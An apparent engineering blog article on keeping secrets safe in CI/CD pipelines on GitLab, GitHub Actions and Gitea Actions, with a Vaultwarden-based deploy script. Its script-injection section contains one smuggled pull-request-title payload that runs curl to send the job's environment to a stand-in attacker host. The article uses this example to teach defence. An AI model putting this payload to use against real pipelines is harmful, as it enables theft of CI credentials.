Skip to content

// Engineering Log

Secrets and Zero Trust: Part 7 — Secrets in CI/CD: GitLab, GitHub Actions and Gitea Actions

Published on 2026-11-30 · Author:

// Fast route

This article belongs to the topic Deploy and reliability.

CI/CD pipelines often get more access than any developer: they publish images, deploy code to servers, change DNS and databases. If a secret is stored in a shared project variable and is available to every job from every branch, a single modified script is enough to steal it.

This article explains where secrets leak from CI, which zero trust principles apply to pipelines, what GitLab, GitHub Actions and Gitea Actions provide for this, and how to use Vaultwarden as a secret source for pipelines if you don’t have an external secrets manager. The general threat model is described in the article “Part 1 — Threat model and principles”, and the pipeline basics are in “Secure development: Part 1 — CI/CD: from manual deploy to automated deployment”.

Where secrets leak in the pipeline

  • Output to logs. The env or printenv command, a script debug printout, or an error message with a connection address that includes the password.
  • Fork and pull request. The pipeline runs code from someone else’s branch. If secrets are available in that run, the PR author can change the build script and exfiltrate them.
  • Compromised runner. A runner can see secrets of all jobs it executes. If one job leaves a process running or replaces a file, the next job runs in a compromised environment.
  • Script injection via event data. The pull request title, branch name or commit message is provided by an external person. If such a value is interpolated into a shell script as text, it becomes part of the command.
  • Shared variable across projects. One token with admin rights at the group or organization level: a leak from any project opens access to all.

Secrets in the pipeline file and repository history are discussed in “Secure development: Part 2 — Secrets in code”.

Zero trust principles for CI

  • Secret per job, not per project. A build job does not get the production key; the secret is issued to the job, and where the platform allows, only to the specific step that needs it.
  • Least privilege. A token for publishing an image can write to one registry repository and nothing else. Built-in platform tokens should be limited to read if write is not needed.
  • Short lifetime. Best is a token for one job that expires after it.
  • Access based on “where it was started from.” A secret is issued based on verifiable run attributes: repository, branch, branch protection, environment. A job from a developer branch and from protected main get different rights.
  • Runner is not trusted by default. Deployment runners are separated from runners used to build pull requests.

What platforms provide

FeatureGitLabGitHub ActionsGitea Actions
Secrets and maskingmasked and hidden variables, File typesecrets, exact-match log editing, ::add-mask::secrets exist, log masking not documented
Branch or environment protectionprotected variables and protected runnersenvironments: reviewers, branch and tag restrictionsenvironments ignored
Job OIDC tokenid_tokenspermissions: id-token: writeno
Ephemeral runnersnot documented--ephemeral, JIT runners via REST APIregister --ephemeral: runner takes exactly one job, credentials revoked after assignment

GitLab

Variable properties. CI/CD variables are set in project, group or instance settings, not in .gitlab-ci.yml: everything written in the pipeline file is visible to anyone with repository access.

  • Masked — the log shows [MASKED] instead of the value. The value must be a single-line string without spaces, at least 8 characters long. If a process prints the value in a transformed form (base64, in parts), masking will not work.
  • Hidden — once saved the value cannot be viewed in the UI. You can hide a variable only when creating it.
  • Protected — the variable is passed only to pipelines for protected branches and tags. A job from a developer branch will not receive it.
  • File type — the value is written into a temporary file and the variable contains its path. Suitable for keys and configurations that programs read from files.

GitLab documentation warns: masking does not guarantee that an attacker won’t obtain the value. Anyone who can change a job in a branch with access to the variable can print it via env or send it out. Protected variables and branch protection provide real protection; masking only removes accidental output.

ID tokens. The keyword id_tokens issues a signed JWT for the job. The required field is aud, the intended audience of the token. The token is fresh for each job and is valid until the job timeout or 5 minutes.

yaml
deploy:
  id_tokens:
    VAULT_ID_TOKEN:
      aud: https://vault.example.ru
  script:
    - ./ci/login-to-vault.sh   # the script reads the token from the VAULT_ID_TOKEN variable, not from an argument

The sub claim by default looks like project_path:example/app:ref_type:branch:ref:main; there are also ref_protected, project_path, ref, ref_type and environment (if the job declares an environment). The condition “only protected branch main of project example/app” is checked by the secrets manager, not by YAML. Deprecated variables CI_JOB_JWT and CI_JOB_JWT_V2 have been removed from GitLab and should not be relied upon.

The secrets keyword (Premium and Ultimate tiers) retrieves secrets from HashiCorp Vault, Azure Key Vault, Google Cloud Secret Manager and AWS Secrets Manager. Example for Vault from GitLab docs:

yaml
deploy:
  id_tokens:
    VAULT_ID_TOKEN:
      aud: https://vault.example.ru
  secrets:
    DATABASE_PASSWORD:
      vault: production/db/password@ops
      token: $VAULT_ID_TOKEN
  script:
    - ./ci/migrate.sh

The server address is set with VAULT_SERVER_URL, role with VAULT_AUTH_ROLE. By default the secret is written into a temporary file and DATABASE_PASSWORD contains its path; file: false puts the value directly into the variable. The file variant is safer: the value does not enter the environment of all job processes.

OpenBao — a fork of Vault with a compatible API — is not mentioned in GitLab docs. Protocol-level compatibility with secrets:vault is plausible but not verified by GitLab documentation; test on a staging project before use.

Runners.

  • Protected runner runs jobs only from protected branches and tags. Assign deployment to such a runner via tags, so PR code won’t reach it.
  • privileged = true for the Docker executor gives the container effectively full root rights on the runner host. GitLab docs do not recommend this mode.
  • Mounting /var/run/docker.sock into the job container allows escaping to the host: via the socket you can start another container with the host root mounted. For image builds use tools that don’t need daemon access.

GitHub Actions

Secret scopes. Secrets are stored at repository, environment and organization levels and are referenced as ${{ secrets.NAME }}. Secrets from forks are not passed into workflows (except GITHUB_TOKEN), not passed automatically into reusable workflows, and are not available to Dependabot events. You cannot use a secret directly inside an if: condition — first pass it into env.

The log can be edited by exact-match, so don’t store a secret as a JSON- or YAML-block: a separately printed part will not be hidden. Derived values are masked manually with ::add-mask::. Base64 is not encryption: a base64 string is the same secret in another form.

GITHUB_TOKEN permissions. The permissions key is set at workflow or job level. Docs recommend setting minimal permissions at the workflow level and expanding for individual jobs. The token expires at job end.

Environments. An environment can have up to six required reviewers (one approval is enough), a wait timer, and an allowed branches and tags list. Environment secrets are provided to the job only after these rules are met. On the Free tier environments are only available in public repositories.

OIDC. A job with id-token: write gets a JWT that a cloud provider or Vault exchanges for a short-lived access token for the job. Example from GitHub docs using hashicorp/vault-action:

yaml
name: deploy
on:
  push:
    branches: [main]

permissions:
  contents: read

jobs:
  deploy:
    runs-on: ubuntu-latest
    environment: production
    permissions:
      contents: read
      id-token: write
    steps:
      - uses: hashicorp/vault-action@<full commit SHA of the release>
        with:
          url: https://vault.example.ru
          method: jwt
          role: example-app-deploy
          secrets: |
            secret/data/example/app db_password | DB_PASSWORD
      - run: ./ci/migrate.sh

The action exports the secret into the environment of subsequent steps and masks it in the log. This violates the “secret-per-step” principle: after vault-action do not run untrusted steps. The important part is trust on the Vault or cloud side, otherwise the token could be presented by any GitHub repository. For a job with an environment the sub claim looks like repo:example/app:environment:production; limit the role at least by the repository claim (in Vault — bound_claims), preferably by a precise sub that includes the environment.

Pinning actions. According to GitHub docs, referencing the full commit SHA is the only way to use an action immutably. A tag like v3 can be moved to another commit, and the pipeline will execute someone else’s new code with access to your secrets.

pull_request_target. This trigger runs a workflow in the context of the base repository — with secrets and a write-capable token — even for a forked PR. Docs advise not to use it unless necessary and never to checkout PR code within it.

Script injection. Dangerous example:

yaml
- run: echo "Title: ${{ github.event.pull_request.title }}"

The expression is inserted into the script text before the shell runs, and a title like a"; curl https://evil.example.ru/$(env | base64) # will be executed as a command. Safe variant — via an environment variable:

yaml
- run: echo "Title: $TITLE"
  env:
    TITLE: ${{ github.event.pull_request.title }}

Runners. Self-hosted runners are almost never a good idea for public repositories: anyone can open a pull request and run code on your machine. An ephemeral runner (config.sh --ephemeral or a JIT runner via REST API) executes one job and removes itself; however, per docs, reusing the same hardware may leak data from previous jobs.

Gitea Actions

Gitea Actions are available since version 1.19 and enabled by default from 1.21, but must be enabled per-repository in settings. Workflow syntax is GitHub Actions-compatible; files live in .gitea/workflows/. Jobs are executed by a separate program Gitea Runner (binary gitea-runner; early versions were named act_runner):

bash
gitea-runner register --no-interactive --instance https://git.example.ru --token-file /etc/gitea-runner/registration-token
gitea-runner daemon

The registration token is taken at instance, organization or repository level. Do not pass it as --token: it is visible in the process list and shell history; docs suggest --token-file (file with 0600 permissions) or the GITEA_RUNNER_REGISTRATION_TOKEN variable. Register a deployment runner at the repository level so it does not receive foreign jobs, and do not enable running jobs from forks for it. For one-off runners use register --ephemeral: the runner takes exactly one job and loses credentials after assignment. Gitea docs recommend giving runners only to trusted repositories, organizations and instances.

Runner modes are set by labels:

  • Docker (recommended) — jobs are isolated from each other, but use a single external Docker daemon, e.g. via the host socket;
  • Docker-in-Docker — requires --privileged;
  • host — the job runs directly on the host without isolation.

Secrets are stored at user, organization and repository levels and substituted as ${{ secrets.NAME }}; names must not start with GITHUB_ or GITEA_. Gitea docs do not describe masking secrets in logs, so assume printed values remain in the log.

What’s missing. The environment key is ignored: there are no environment-level secrets or reviewers before deployment. There is no job OIDC token. Therefore you must separate access via runners, separate repositories for deployment, and account rights in external systems.

GITEA_TOKEN (also available as GITHUB_TOKEN) operates in one of two default modes: Permissive (read and write in most repository areas) and Restricted (token is read-only; exact scopes depend on your instance settings). The mode applies if workflow and job do not set permissions. The permissions key is supported but without id-token. For forked PRs the token is always read-only and running jobs from forks requires approval.

Actions without a specified Gitea host are downloaded from GitHub by default. Pinning by SHA is as important here as in GitHub Actions; you can keep copies of required actions on your instance.

Vaultwarden as a secret source for CI

If you don’t have a secrets manager with OIDC, and your team already stores passwords in Vaultwarden, the pipeline can retrieve secrets via the Bitwarden CLI. Bitwarden Secrets Manager (bws, action bitwarden/sm-action) does not work with Vaultwarden: its server is not supported. You are left with the standard bw; working with it is covered in detail in “Part 3 — Bitwarden CLI on Linux: bw, sessions and safe operation”.

Access setup.

  • A separate Vaultwarden account for CI, one per project or per group of projects with similar trust level. Do not use your personal account.
  • A separate collection in the organization, e.g. ci/example-app, containing only secrets for this project.
  • The CI account is a member of the organization with access only to that collection and view-only rights (in Bitwarden this is “View items”; permission levels that hide passwords do not work: bw get password will not return the password). Check which collection permission levels your Vaultwarden version supports in the UI.
  • Store BW_CLIENTID and BW_CLIENTSECRET (the personal API key for this account) and the master password in CI variables — as protected and masked GitLab variables or GitHub environment secrets. For GitLab masking the master password must contain no spaces.

Script ci/deploy.sh. One script for all three platforms:

sh
#!/bin/sh
set -eu

# Separate bw data directory for each job
BITWARDENCLI_APPDATA_DIR="$(mktemp -d)"
export BITWARDENCLI_APPDATA_DIR
cleanup() {
    bw lock >/dev/null 2>&1 || true
    bw logout >/dev/null 2>&1 || true
    docker logout registry.example.ru >/dev/null 2>&1 || true
    rm -rf "$BITWARDENCLI_APPDATA_DIR"
}
trap cleanup EXIT
trap 'exit 1' INT TERM

bw config server "$BW_SERVER" >/dev/null
bw login --apikey --nointeraction >/dev/null   # reads BW_CLIENTID and BW_CLIENTSECRET
unset BW_CLIENTID BW_CLIENTSECRET
BW_SESSION="$(bw unlock --passwordenv BW_PASSWORD --raw)"
export BW_SESSION
unset BW_PASSWORD

# Secret is read into a variable; on error bw exits the script (set -e)
REGISTRY_PASSWORD="$(bw get password "example/app/registry")"
bw lock >/dev/null
unset BW_SESSION

# Secret is passed via stdin, not via arguments or log
printf '%s' "$REGISTRY_PASSWORD" \
  | docker login registry.example.ru --username deploy --password-stdin
unset REGISTRY_PASSWORD

docker push registry.example.ru/example/app:"$IMAGE_TAG"

What’s important here:

  • An API key does not replace the master password: after bw login --apikey you need bw unlock. --passwordenv accepts a variable name, not a value, so the password is not visible in the process list; --nointeraction makes the job fail instead of hanging if variables are missing.
  • --raw prints only the session key, which goes straight into a variable and bypasses the log.
  • The secret is read into a variable and passed to docker login via stdin: command-line arguments are visible to other users via ps, and on bw get error the script exits because of set -e.
  • After bw login the script removes BW_CLIENTID and BW_CLIENTSECRET, and after reading the secret locks the vault and removes BW_SESSION so child processes (docker) do not inherit them.
  • At the end bw lock, bw logout and docker logout are executed, and the temp directory is removed even if the script was interrupted by INT or TERM.
  • unset removes the variable only inside the script process: in GitLab, GitHub and Gitea BW_PASSWORD remains in the job environment and is visible to the parent shell and the runner. Therefore run such a job on a dedicated runner and do not execute third-party code on it.
  • The image or runner host needs the docker CLI and access to the daemon. This contradicts the advice not to mount docker.sock, so use a protected runner on a dedicated host or replace docker push with a daemonless build (kaniko, buildah).

Platform wrappers. GitLab, .gitlab-ci.yml:

yaml
deploy:
  stage: deploy
  image: registry.example.ru/tools/bw-cli:2026.10.0
  tags: [deploy-protected]
  environment: production
  rules:
    - if: $CI_COMMIT_BRANCH == $CI_DEFAULT_BRANCH
  variables:
    BW_SERVER: https://vault.example.ru
  script:
    - ./ci/deploy.sh

The bw-cli image is built beforehand with a pinned bw version to avoid installing the CLI from npm on each run. BW_CLIENTID, BW_CLIENTSECRET and BW_PASSWORD are set in project settings as protected, masked and hidden, IMAGE_TAG follows your versioning scheme.

GitHub Actions, .github/workflows/deploy.yml, and Gitea Actions, .gitea/workflows/deploy.yml:

yaml
name: deploy
on:
  push:
    branches: [main]

permissions:
  contents: read

jobs:
  deploy:
    runs-on: [self-hosted, deploy]
    environment: production   # ignored in Gitea
    steps:
      - uses: actions/checkout@<full commit SHA of the release>
      - run: ./ci/deploy.sh
        env:
          BW_SERVER: https://vault.example.ru
          BW_CLIENTID: ${{ secrets.BW_CLIENTID }}
          BW_CLIENTSECRET: ${{ secrets.BW_CLIENTSECRET }}
          BW_PASSWORD: ${{ secrets.BW_PASSWORD }}
          IMAGE_TAG: ${{ github.sha }}

In GitHub put secrets into the production environment limited to branch main (on Free tier private repos don’t have environments: keep secrets at the repository level and restrict workflow to branch main via on.push.branches and branch protection); in Gitea — store them as repository secrets, and register a runner with the deploy label only for that repository.

Limitations of the Vaultwarden scheme

  • The root secret remains in CI. The master password and API key of the CI account reside in CI variables. Whoever obtains them can access the entire collection. The scheme reduces the number of CI-stored secrets to three and provides a single rotation point, but does not remove long-lived credentials.
  • Lifetime is not short. The password and API key remain valid until manually changed.
  • No branch or repository conditions on the storage side. Vaultwarden does not know which job initiated the request: “where it was started from” checks are performed only by CI via protected variables or environments.
  • Runner must reach the Vaultwarden server. If the vault is accessible only on the internal network, jobs on cloud runners will not reach it; exposing it to the internet for CI is not recommended.
  • Non-interactive login. Whoever obtains the API key and master password for the CI account can log into the vault from anywhere, so its rights should be restricted to a single collection.

When OIDC and an external secrets manager are better

If your CI runs in GitLab or GitHub and the secrets manager can validate JWTs, choose OIDC: there are no long-lived secrets in the pipeline, the token lives minutes, and policies can check repository, branch and environment. For self-hosted infrastructure use HashiCorp Vault or OpenBao with JWT auth (see the OpenBao note above in the GitLab section).

The Vaultwarden scheme is appropriate when there are few projects, runners are on the internal network near the vault, and you don’t want to operate Vault for a handful of passwords. In Gitea Actions without OIDC it allows you not to distribute every secret across repository settings.

Final checklist

  1. Storage. Vaultwarden behind a reverse proxy with HTTPS, registration disabled, admin panel protected by an Argon2 hash or disabled, fail2ban monitoring login logs.
  2. Two-factor authentication. Enabled for all human accounts; recovery codes stored separately from the vault.
  3. CLI. bw session key only in memory or tmpfs; after use run bw lock.
  4. FIDO2 key registered as a second factor where supported; device permissions granted via udev rather than running as root.
  5. Spare key registered in each service in advance: you cannot make a copy of a hardware key.
  6. SSH. ed25519-sk or ecdsa-sk keys with touch; for sk keys enable touch-required on servers (PubkeyAuthOptions touch-required).
  7. CI. Secrets only in protected variables or environments, deployments from protected branches on separate runners, actions pinned by SHA, minimal permissions, OIDC where available.
  8. Rotation. Each secret has an owner and rotation date; after an employee leaves or a leak, secrets are rotated immediately.
  9. Audit. Organization event logging enabled; failed logins trigger alerts.
  10. Backups. Database via sqlite3 .backup or /vaultwarden backup, attachments, config.json and rsa_key* — daily, encrypted, one copy off-site.
  11. Recovery test. Restore a backup on a clean machine and log into the restored vault.
  12. Lost-key drills. Periodically (for example, every six months — choose a cadence) log into all critical services with the spare key or recovery codes and revoke the “lost” key.

// Similar task

If you are dealing with something similar

This article belongs to one of the main working topics. You can keep reading on the topic, go to the homepage to understand what I do, or open the service pages directly.

Article topic

Deploy and reliability

Docker, CI/CD, releases, monitoring, observability, and incident handling.

Typical tasks behind this topic

  • Set up deployment without manual chaos
  • Add monitoring, alerts, and baseline observability
  • Investigate incidents and stabilize production

// Next step

If you need help with this topic, not just another article, it is better to go straight to the service page. The homepage and topic collection stay available as secondary routes.

Open services

// Reviews

Related reviews

N_Konstantin

VPS setup, server setup

2025-10-10 · ★ 5/5

A settled customer

// Contact

Need help?

Get in touch with me and I'll help solve the problem

I reply within one business day (03:00-13:00 GMT)

Or leave a request here:

Confirm that you are not a bot.

Write and get a quick reply